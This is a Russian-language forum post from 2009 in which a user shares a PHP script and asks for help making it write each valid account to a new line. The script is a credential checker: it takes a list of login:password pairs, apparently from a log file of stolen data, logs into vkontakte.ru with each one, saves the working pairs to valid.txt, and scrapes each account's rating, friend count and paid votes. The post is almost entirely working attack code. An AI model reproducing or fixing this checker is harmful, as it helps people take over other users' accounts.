Показать сообщение отдельно

  #9  
Старый 10.03.2009, 21:46
jkSeyv
Познающий
Регистрация: 19.01.2009
Сообщений: 94
Провел на форуме:
1440203

Репутация: 47
По умолчанию

нужны ещё вроде put() либо fputs() посоветовали..

fputs() тока в коде имеется:

PHP код:
<center><div style='width: 100%; text-align: center;'><img src='http://vkontakte.ru/images/xhead2.gif' /></div></center>
<?
@set_time_limit(0);
$votes 0;
$traffic 0;
$badacc 0;
$friendz 0;
$ratecount 0;
$goldcount 0;
$fbad fopen("lowrate.txt","w");
fclose($fbad);
$fbad fopen("lowrate.txt","a+");
$fval fopen("valid.txt","w");
fclose($fval);
$fvalfopen("valid.txt","a+");
@
$filelog file_get_contents("log.txt");
if(!empty(
$_POST['list']))
    {
$accs123 split("\n",$_POST['list']); }
else {
$accs123 split("\n",$filelog); }
if(empty(
$_POST['list']) && empty($filelog)) {
$aaaa 0; } else {
$aaaa count($accs123); }

if(!isset(
$_POST['list'])) {
echo <<<list
<center><form method="post">
    <p>
Список акков <br>

Если нажать кнопку "проверить" с пустым полем - будут проверяться акки из <b>log.txt</b><br>
<textarea name="list" rows=15 cols=37></textarea><br>
    <input type="submit" value="Проверить" >
    </p>
 </form></center>
list;
echo (
"<br><center><b>(c) AdReNa1!Ne & Kaimi<br>All Rights Left</b></center>");
die();
}

$valid 0;
$invalid 0;
@
$filelog file_get_contents("log.txt");
set_time_limit(0);
if(!empty(
$_POST['list']))
    {
    
$accs split("\n",$_POST['list']); 
}
else {
    
$accs split("\n",$filelog); }
      
$accs array_unique($accs);
      if(!empty(
$accs)) {
    
$browser="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14";
    echo 
'<center><table border="1"><tr><td><b>Аккаунт</b></td><td><b>Рейтинг</b></td><td><b>Идентификатор</b></td><td><b>Друзья</b></td><td><b>Оплаченные голоса</b></td></tr>';
    foreach(
$accs as $acc)
        {
            
$pos strpos($acc";");
            
$pos1 strpos($acc":");
            
$acc trim($acc);
            if(
$pos != false) {
            
$separator ";"; }
            if(
$pos1 != false) {
            
$separator ":"; } 
        list(
$login$pwd) = split($separator$acc);
        
        
$ret=socket_do("vkontakte.ru","email={$login}&pass={$pwd}","/login.php",$browser,'',1,"POST",'http://vkontakte.ru',1,'',''); 
        
$traffic $traffic strlen($ret);
            if(
preg_match("/\b302 Found\b/is"$ret)) {
            
fputs($fval$acc);
            
$valid++;   
            }            
            
$ret=substr($ret,0,strpos($ret,"\r\n\r\n"));
        
preg_match_all('/Set-Cookie: (.+);/iUs',$ret,$cook);
        
$cookies = array();
        foreach(
$cook[1] as $ck)
            {
            
$cookies[]=$ck;
            }
        
$cookies=implode('; ',array_unique($cookies));
        
        
$ret=socket_do("vkontakte.ru",'',"/rate.php",$browser,$cookies,1,"GET",'',0,'','');
            
$traffic $traffic strlen($ret);
                
preg_match('/remixmid=(\d+);/i',$cookies$id);
                
preg_match('/У Вас <b>(.*)</i',$ret$vote);
                
$votes $votes $vote[1];
                if(!empty(
$vote[1])) {
                
$voteansw "<td><b>Голосов - $vote[1]</b></td>";
                }
                else {
                
$voteansw "<td>Голосов - 0</td>"; }
          
$retfri=socket_do("vkontakte.ru",'',"/id".$id[1],$browser,$cookies,1,"GET",'',0,'','');
            
$traffic $traffic strlen($retfri);
        
preg_match('/Друзья <span>(.*)</i',$retfri$friends);
            
$friends str_replace("(","",$friends);
            
$friends str_replace(")","",$friends);
            
$friends str_replace("</span></h2>","",$friends);
            
$friendz $friendz $friends[1];
             if(
$friends[1] > 500) {
                  
$friendszzzz "<b>".$friends[1]."</b>"; }
                  else {
                  
$friendszzzz $friends[1]; }
             if(
strlen($id[1]) < 6) {
             
$idch "<b>".$id[1]."</b>"; }
             else {
             
$idch $id[1]; }
            if(!
preg_match('/percentGold" style="width:100px">(.*)</',$ret$rate))
            {
            
preg_match('/percent" style="width:100px">(.*)</',$ret$rate);
            if(
$rate[1] == "100%") {
                  
$rrrr "FULL RATE";
                  
$ratemin str_replace("%","",$rate[1]);
                  if(
$ratemin 30) {
                  
fputs($fbad$acc);
                  
$badacc++; }
                  } else {
                  
$rrrr "RATE"; } 
                  
$ratemin str_replace("%","",$rate[1]);
                  if(
$ratemin 30) {
                  
fputs($fbad$acc);
                  
$badacc++; }
                  if(
strlen($rate[1]>0) && $ratemin 30) echo "<tr><td>$acc</td>   <td>$rate[1] - $rrrr</td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";            
}
        else
            {
                  
$ratemin str_replace("%","",$rate[1]);
                  if(
$ratemin 30) {
                  
fputs($fbad$acc);
                  
$badacc++; }
            if(
strlen($rate[1]>0) && $ratemin 30) echo "<tr><td>$acc   <td><b>$rate[1] - GOLD RATE</b></td> <td>ID - $idch</td><td>Друзей - $friendszzzz</td>$voteansw</tr>\n";    
$goldcount++;            
}

        }
usleep(500);
    }

function 
socket_do($host,$vars,$service_uri,$browser,$cookies='',$sread=1,$method='POST',$ref='',$addheaders=1,$proxy=false,$proxyport=0,$HTTP='1.0')
{
  
$ret="";

  if(
$method=='GET' && $vars)
  {
    
$service_uri.='?'.$vars;
    
$vars='';
  }

  
$header="Host: $host\r\n";
  
$header.="User-Agent: $browser\r\n";

  if(
$addheaders==1)
  {
    
$header.="Content-Type: application/x-www-form-urlencoded\r\n";
    
$header.="Content-Length: ".strlen($vars)."\r\n";
  }
  else if(
$addheaders==0)
  {
    
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
    
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    
$header.="Accept-Encoding: \r\n";
    
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
  }
  else if(
$addheaders==2)
  {
    
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
    
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    
$header.="Accept-Encoding: \r\n";
    
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
    
$header.="Pragma: no-cache\r\n";
    
$header.="Cache-Control: no-cache\r\n";
    
$header.="Content-Length: ".strlen($vars)."\r\n";
    
$header.="Content-Type: application/x-www-form-urlencoded; charset=windows-1251\r\n";
  }
  else if(
$addheaders==3)
  {
    
$header.="Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
    
$header.="Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    
$header.="Accept-Encoding: gzip,deflate\r\n";
    
$header.="Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
  }


  if(
$ref$header.="Referer: $ref\r\n";

  
$header.="Connection: close\r\n";

  if(
$cookies)
    
$header.="Cookie: $cookies\r\n";

  
$header.="\r\n";


  if(
$proxy)
  {
    
$addquery="$method http://$host$service_uri  HTTP/$HTTP\r\n";
    
$fp=fsockopen("tcp://".$proxy,$proxyport,$errno,$errstr,30);
  }
  else
  {
    
$addquery="$method $service_uri  HTTP/$HTTP\r\n";
    
$fp=fsockopen("tcp://".$host,80,$errno,$errstr,30);
  }

  
stream_set_timeout($fp,30);

  if(!
$fp)
  {
    print 
"<font color=red>Socket error: <i>$errstr ($errno)</i></font><br>";
    return 
'';
  }

  
fputs($fp,$addquery);
  
fputs($fp,$header.$vars);

  if(
$sread)
  {
    while(!
feof($fp))
    {
      
$ret.=fgets($fp128);
    }
  }

  
fclose($fp);

  return 
$ret;
}
fclose($fval);
fclose($fbad);
$invalid $aaaa $valid;
$ratecount $valid $goldcount;
$traffic $traffic 1024;
выручайте, знаю, вы сможете

нужно чтоб записывал валидные акки с каждой новой строкой
 
Ответить с цитированием